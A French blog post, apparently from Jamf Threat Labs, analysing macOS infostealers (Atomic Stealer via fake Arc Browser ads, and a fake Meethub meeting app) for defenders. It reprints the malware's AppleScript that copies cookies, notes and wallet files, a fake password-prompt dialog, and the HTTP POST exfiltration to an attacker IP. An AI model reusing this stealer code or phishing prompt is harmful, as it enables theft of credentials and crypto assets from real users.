Les infostealers, une menace persistante pour les utilisateurs de macOS
L'équipe Jamf Threat Labs dissèque les attaques d'infostealer qui ciblent actuellement les utilisateurs de macOS. Elles emploient des moyens différents pour compromettre les Mac de leurs victimes, mais toutes poursuivent le même objectif : voler les données sensibles des utilisateurs.
Au cours de l'année écoulée, macOS a régulièrement fait l'objet d'attaques d'infostealers. Beaucoup de ces logiciels de vol ciblent des individus impliqués dans le secteur des cryptomonnaies et cherchent avant tout à collecter des identifiants et les données de portefeuilles. Jamf Threat Labs a observé une évolution créative dans les stratégies et tactiques utilisées par ces attaquants pour cibler les utilisateurs et voler leurs données.
L'équipe a suivi deux attaques récentes qui ont abouti à l'introduction de ces logiciels de vol sur les systèmes des victimes.
Attaques en cours
Attaque 1 : Atomic Stealer, répandu via des publicités sponsorisées
En recherchant « Arc Browser » sur Google, nous avons découvert que le résultat sponsorisé, qui semble mener vers le site officiel du navigateur Arc (arc.net), conduit en réalité au site malveillant aricl[.]net.
Google ad services link:
hXXps://www.googleadservices.com/pagead/aclk?sa=L&ai=DChcSEwiC8Jm6-ZSFAxUIwUwCHXbYB3MYABAAGgJ0bQ&ase=2&gclid=EAIaIQobChMIgvCZuvmUhQMVCMFMAh122AdzEAAYASAAEgKHuvD_BwE&ei=0lQEZp-wCbWqptQP-Kq0mA8&ohost=www.google.com&cid=CAASJORoo4VHmMOQTyTY97tSpGDZA1DEcypIUn9R0xOdHJi1x9N3KQ&sig=AOD64_2IOygLFSykCaouP6GmJOVlWRg3AA&q&sqi=2&nis=4&adurl&ved=2ahUKEwif4Y66-ZSFAxU1lYkEHXgVDfMQ0Qx6BAgJEAE
Nous ne sommes pas les seuls à avoir remarqué cette bizarrerie. Des utilisateurs de Reddit ont fait le même constat. Il est intéressant de noter que le site web malveillant n’est pas accessible directement : l’URL renvoie une erreur. Pour y accéder, il faut cliquer sr un lien sponsorisé généré, sans doute pour échapper à la détection.
Ci-dessous, une image du site malveillant aricl[.]net où la victime va télécharger l'application malveillante. Dans certains cas, le lien sponsorisé nous dirige vers un autre site malveillant, identique au premier, cette fois à l’adresse airci[.]net.
Le DMG possède une signature ad hoc et enjoint l’utilisateur à faire un clic droit sur l'application pour sélectionner Ouvrir, de façon à contourner tous les avertissements de Gatekeeper.
Comme ses variantes précédentes, cette version d'Atomic Steer contient très peu de chaînes : la plupart d'entre elles sont codées en xor pour échapper aux outils de détection reposant sur les signatures statiques.
Elle appelle ensuite une fonction nommée bewta(), qui décompresse divers octets à l’aide de la clé xor 0x91, codée en dur. L'appel de fonction system() est ensuite invoqué pour exécuter les charges utiles AppleScript utilisées pour voler les informations. Plusieurs autres fonctions sont mobilisées pour voler des actifs :
L’extraction en texte brut des mots de passe contenus dans le trousseau nécessite le mot de passe macOS de l'utilisateur. Les développeurs d'Infostealer ont compris depuis longtemps que le moyen le plus simple d'obtenir ce mot de passe consiste à le demander à l'utilisateur. Ils affichent donc une invite générée via un appel à AppleScript.
La décompression de l’intégralité de l’exécutable révèle de nombreuses chaînes liées aux fonctionnalités de l’infostealer, dont la commande AppleScript ci-dessous.
"osascript",
"-e", "set baseFolderPath to (path to home folder as text) & \"951540712\"",
"-e", "set fileGrabberFolderPath to (path to home folder as text) & \"951540712:FileGrabber:\"",
"-e", "tell application \"Finder\"",
"-e", "set username to short user name of (system info)",
"-e", "try",
"-e", "if not (exists folder fileGrabberFolderPath) then",
"-e", "make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}",
"-e", "end if",
"-e", "set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")",
"-e", "try",
"-e", "duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing",
"-e", "end try",
"-e", "set homePath to path to home folder as string",
"-e", "set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"",
"-e", "try",
"-e", "duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing",
"-e", "duplicate file \"NoteStore.sqlite-shm\" of folder sourceFilePath to folder baseFolderPath with replacing",
"-e", "duplicate file \"NoteStore.sqlite-wal\" of folder sourceFilePath to folder baseFolderPath with replacing",
"-e", "end try",
"-e", "set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}",
"-e", "set desktopFiles to every file of desktop",
"-e", "set documentsFiles to every file of folder \"Documents\" of (path to home folder)",
"-e", "repeat with aFile in (desktopFiles & documentsFiles)",
"-e", "set fileExtension to name extension of aFile",
"-e", "if fileExtension is in extensionsList then",
"-e", "set fileSize to size of aFile",
"-e", "if fileSize ≤ 51200 then",
"-e", "duplicate aFile to folder fileGrabberFolderPath with replacing",
"-e", "end if",
"-e", "end if",
"-e", "end repeat",
"-e", "end try",
"-e", "end tell"
La plupart des comportements d’Atomic Stealer sont déjà bien documentés et nous n’avons observé aucun changement significatif avec cette version. Nous présentons ci-dessous une partie des fichiers collectés en vue de leur exfiltration ; le système concerné est une installation relativement récente de macOS.
Enfin, le logiciel malveillant envoie au serveur de l’attaquant, via HTTP, une requête POST qui transmet un fichier zip codé en base64 contenant les données exfiltrées dans le corps de la requête.
Hypertext Transfer Protocol
POST /joinsystem HTTP/1.1\r\n
Host: 193.233.132.188\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 481728\r\n
Connection: close\r\n
\r\n
[Full request URI: http://193.233.132[.]188/joinsystem]
File Data: 481728 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "BuildID" = "2"
Form item: "user" = "Vulkan3000"
[truncated]Form item: "B64" = "UEsDBAoAAAAAAHZGfFgAAAAAAAAAAAAAAAALABAAMjAwODQ2NTcxNC9VWAwAEJIFZhCSBWb1ARQAUEsDBBQACAAIAAB9T1gAAAAAAAAAAAAAAAAfABAAMjAwODQ2NTcxNC9Ob3RlU3RvcmUuc3FsaXRlLXdhbFVYDADPoM5lz6DOZfUBFADsnQlgFEX2_3uO7kxf9XIfQ0ICJNy
Form item: "cl" = "0"
Form item: "cn" = "0"
Attaque : Meethub
Jamf Threat Labs a mis au jour une autre attaque en cours après avoir observé une tentative d’exécution d’un exécutable non signé et présentant un hash malveillant connu, au chemin suivant :
/Applications/Meethub.app/Contents/MacOS/sleve
Le nom de l’application l’absence de signature justifiaient une enquête. Et l’investigation a rapidement porté ses fruits : l’équipe s’est aperçue que le nom de l’application ne correspondait pas au nom de l’exécutable. Le système d’exploitation n’exige pas que le nom de l’application et le nom de l’exécutable soient identiques, mais une telle incohérence est rare. Une enquête plus approfondie nous a amenés au site meethub[.]gg.
La société Meethub a une présence médiatique forte sur Telegram et Medium. C’est sur le réseau X que son profil est le plus puissant, avec plus de huit mille abonnés (dont une partie est probablement composée de robots) manifestant généralement un intérêt pour les cryptomonnaies dans leur profil.
Les victimes ont indiqué avoir reçu des messages directs provenant d’escrocs qui donnaient un prétexte inoffensif pour planifier une réunion. Il pouvait s’agir, par exemple, de discuter de l’enregistrement d’un podcast avec la victime, ou d'échanger à propose d’une offre d’emploi. Les deux profils étaient fortement impliqués dans les cryptomonnaies et la blockchain.
Après la prise de contact, le pirate invitait la victime à utiliser Meethub comme logiciel de visioconférence. Si vous accédez au site Web Meethub et que vous sélectionnez « Essayer gratuitement », des liens vers les versions Windows et macOS vous sont présentés. Si vous choisissez macOS, vous téléchargez un paquet non signé de 51 Mo (7f22760d6d85f8173292d39ea087f35695ad65ab). Une fois le téléchargement lancé, le site vous explique comment contourner les invites Gatekeeper susceptibles de s’afficher.
À première vue, on constate que l’application téléchargée ne prend en charge que l’architecture Intel.
Il s’agit soit d’un choix délibéré, soit d’un oubli de la part de l’auteur du logiciel malveillant. Pour que l’application puisse fonctionner sur la nouvelle architecture ARM, il faut d’abord installer Rosetta. Sans Rosetta, l’application ne se lance pas après l’installation et l’utilisateur doit l’ouvrir manuellement. Il doit ensuite suivre les invites d’installation de Rosetta.
Le binaire principal de l’application, à l’emplacement Meethub.app/Contents/MacOS/sleve (3865636ed27ae81f146ed5b9ac9a25f53a6d10a7), se met à l’œuvre en lançant quelques commandes de reconnaissance, comme uname, sw_verset ioreg.
Comme Atomic Stealer, examiné plus haut, ce logiciel de vol demande à l’utilisateur de saisir son mot de passe de connexion macOS à l’aide de l’appel AppleScript suivant.
"osascript","-e","display dialog \"The launcher need permissions to enable background auto-updates.\n\nPlease enter your password.\" with title \"Auto-Updates System\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" with hidden answer"
Le logiciel malveillant affiche cette invite de façon répétée jusqu’à ce que le mot de passe correct soit saisi. Il copie ensuite le trousseau de l’utilisateur avec la commande suivante :
Après avoir déverrouillé le trousseau avec le mot de passe de l’utilisateur, il exécute l’outil open source chainbreaker pour collecter les mots de passe. L’outil Chainbreaker (50b8af2019adbbea310bce0259b4a3f3da2e4d7d) est intégré à l’application et stocké à l’emplacement MeetHub.app/Contents/Resources/extensions/installer.
L’infostealer peut réaliser d’autres opérations :
Collecter les noms d’utilisateur et les mots de passe à partir des données de connexion du navigateur
Extraire des informations de carte de crédit
Voler les données d’une sélection de portefeuilles de cryptomonnaies installés, dont Ledger et Trezor
À chaque étape, l’infostealer envoie un signal à l’adresse IP 46.101.104[.]172 pour le suivi de l’avancement de la compromission du système.
POST /metrics
1. Content-Disposition: form-data; name="metric" Opened build
2. Content-Disposition: form-data; name="metric" Checking vm
POST /opened
3. Content-Disposition: form-data; name="uid"
Content-Disposition: form-data; name="buildName" Test
Content-Disposition: form-data; name="buildVersion" 2.0.0-test
POST /metrics
4. Content-Disposition: form-data; name="username" yuzokano
Content-Disposition: form-data; name="metric" Try to access keychain
5. Content-Disposition: form-data; name="metric" Opened ask-password window
6. Content-Disposition: form-data; name="metric" Get password: foobar
7. Content-Disposition: form-data; name="metric" Getting brows data
8. Content-Disposition: form-data; name="metric" Got brow data and getting geo
9. Content-Disposition: form-data; name="metric" IP: 00.00.00.00
10. Content-Disposition: form-data; name="metric" OS data:.User: yuzokano.OS:
Macos Sonoma(14.3.0) X64
11. Content-Disposition: form-data; name="metric" Start zipping
12. Content-Disposition: form-data; name="metric" Zipped
13. Content-Disposition: form-data; name="metric" Start sending data
POST /new_analytics
14. name="archive"
filename="/Users/yuzokano/Documents/data.zip"
POST /metrics
15. Content-Disposition: form-data; name="metric" Main process is done
16. Content-Disposition: form-data; name="metric" Removing temp files...
Nous avons observé un comportement intéressant avec les portefeuilles Ledger : dans ce cas, le logiciel de vol tente de télécharger une version modifiée de Ledger.
POST /metrics
17. Content-Disposition: form-data; name="metric" Found Ledger, try to inject
18. Content-Disposition: form-data; name="metric" Download new ledger
19. Content-Disposition: form-data; name="metric" Deleted old ledger
20. Content-Disposition: form-data; name="metric" Remove quarantine from new ledger
21. Content-Disposition: form-data; name="metric" Success ledger
22. Content-Disposition: form-data; name="metric" Opening ledger
Il semble toutefois que Ledger ait identifié et empêché cette action.
Bien qu’aucun lien direct n’ait pu être confirmé, il existe un certain nombre de points communs entre cet infostealer et un autre plus ancien, Realst. Les deux partagent une poignée de caractéristiques : le langage Rust pour l’exécutable principal, l’utilisation de chainbreaker et un hash machO chainbreaker visible dans un certain nombre de pkg de jeux vidéo qui, après analyse sur VirusTotal, ont été identifiés comme malveillants.
Conclusion
Cet article de blog se penche sur deux des nombreuses attaques d’infostealer qui ont ciblé les utilisateurs de macOS au cours de l’année écoulée. Comme on l’a dit, ces attaques visent principalement des personnes impliquées dans le monde des cryptomonnaies, car les efforts déployés par les pirates peuvent être très lucratifs. Les acteurs du secteur doivent être conscients qu’il est souvent facile de savoir qu’ils détiennent des cryptoactifs ou d’établir un lien entre eux et une entreprise de ce secteur, ne serait-ce qu’en consultant des informations publiques. Nous pensons souvent, à tort, que les fraudeurs frappent au hasard.
Ce n’est pas le cas.
Les attaques d’ingénierie sociale axées sur les cryptomonnaies sont le fruit de groupes APT et de cybercriminels. La prise de contact avant infiltration se produit plus fréquemment sur la plateforme macOS. Les utilisateurs doivent rester vigilants face à ce type d’attaques.
Mise à jour : 5 avril 2024
En recherchant d’autres indicateurs de cette famille de logiciels malveillants, Jamf Threat Labs a découvert un nouveau site web hébergeant le logiciel malveillant Atomic Stealer, à l’adresse suarometa[.]site. Relativement convaincant, ce site prétend héberger un jeu vidéo permettant aux utilisateurs de générer des NFT pendant qu’ils jouent.
En visitant leurs profils Twitter et Instagram, vous remarquez immédiatement qu’ils comptent des dizaines de milliers d’abonnés malgré un nombre minimal de publications. Le site web héberge une version Windows et Mac d’Atomic Stealer. La version Windows correspond à un lien Dropbox tandis que le lien de la version Mac redirige vers mandkhome[.]com/process.php. Cette URL télécharge ensuite un fichier dmg fournissant à chaque fois un hash différent. Quand il ouvre ce fichier dmg, l’utilisateur est une fois encore invité à « cliquer avec le bouton droit et sélectionner Ouvrir » afin de contourner les contrôles de Gatekeeper.
Cette version d’Atomic Stealer est légèrement différente de celle qu’on a évoquée précédemment dans cet article. Mais son objectif et sa logique restent les mêmes. L’utilisateur est invité à saisir un mot de passe et le logiciel dérobe ses informations d’identification et ses fichiers sensibles.
Recevez les tendances du marché, les mises à jour d'Apple et les dernières nouvelles de Jamf directement dans votre boîte mails.
Pour en savoir plus sur la manière dont nous collectons, utilisons, partageons, transférons et protégeant vos informations personnelles, veuillez consulter notre Politique de confidentialité.